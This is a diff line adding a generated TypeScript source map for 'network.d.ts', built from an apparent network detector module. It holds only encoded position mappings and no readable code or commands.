+ {"version":3,"file":"network.d.ts","sourceRoot":"","sources":["../../../src/action/detectors/network.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,kBAAkB,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AAIhF;;GAEG;AACH,MAAM,WAAW,qBAAqB;IACpC,iBAAiB;IACjB,UAAU,EAAE,KAAK,GAAG,QAAQ,GAAG,MAAM,GAAG,UAAU,CAAC;IACnD,gBAAgB;IAChB,SAAS,EAAE,MAAM,EAAE,CAAC;IACpB,eAAe;IACf,QAAQ,EAAE,cAAc,EAAE,CAAC;IAC3B,mBAAmB;IACnB,YAAY,EAAE,OAAO,CAAC;IACtB,mBAAmB;IACnB,YAAY,CAAC,EAAE,MAAM,CAAC;CACvB;AAmCD;;GAEG;AACH,wBAAgB,qBAAqB,CACnC,OAAO,EAAE,kBAAkB,EAC3B,SAAS,GAAE,MAAM,EAAO,GACvB,qBAAqB,CA6HvB"}